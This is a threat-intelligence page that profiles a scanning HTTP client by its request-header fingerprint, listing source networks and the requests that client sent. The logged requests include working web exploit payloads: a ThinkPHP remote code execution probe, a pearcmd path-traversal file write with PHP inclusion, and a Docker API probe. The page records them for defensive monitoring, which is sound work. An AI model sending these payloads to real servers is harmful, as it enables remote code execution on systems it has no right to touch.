Akin HTTP request fingerprint

a11cun050_0000006b_6e36c7cb

Seen 2026-09-22 to 2026-09-23 across the retained window.

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4

Source IPs

4

Networks

4

Countries

3

Ports hit

17

Events

1

IPs / network

This fingerprint is spread thinly across many networks, which is the shape of a common, widely-used client.

Top networks

AS152565 JOY SERVICES1 IPs10

AS150273 PT Berkah Maju Interasional1 IPs5

AS7018 AT&T Enterprises, LLC1 IPs1

AS45102 Alibaba (US) Technology Co., Ltd.1 IPs1

Countries

IN 1ID 1SA 1US 1

Ports targeted

80/tcp 10 443/tcp 5 2375/tcp 2

What it requests

GET/containers/json5

GET/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello3

GET/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello3

GET/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5("hi"));?>+/tmp/index1.php3

GET/index.php?lang=../../../../../../../../tmp/index13

User agents claimed

libredtail-http4 IPs17

Source IPCCNetwork Last seenEvents

103.165.11.198INAS152565 JOY SERVICES2026-09-2210

103.63.101.24IDAS150273 PT Berkah Maju Interasional2026-09-235

99.29.106.27USAS7018 AT&T Enterprises, LLC2026-09-231

8.213.19.246SAAS45102 Alibaba (US) Technology Co., Ltd.2026-09-231

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

a11cun050_0000006b_bd5c72d1same header set8 IPs22 a11cun050_0000006b_e88b733asame header set1 IPs10 a11cun050_0000006b_dd905059same header set2 IPs2 a11cun050_0000006b_3ea03722same header set1 IPs1 a11cun050_0000006b_7fd924e7same header set1 IPs1 a11cun060_0000007b_f55b17ef1 header apart2 IPs3.4K a11cun040_0000004b_4c87b06e1 header apart113 IPs509 a11cun040_0000004b_00b09b791 header apart1 IPs173

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.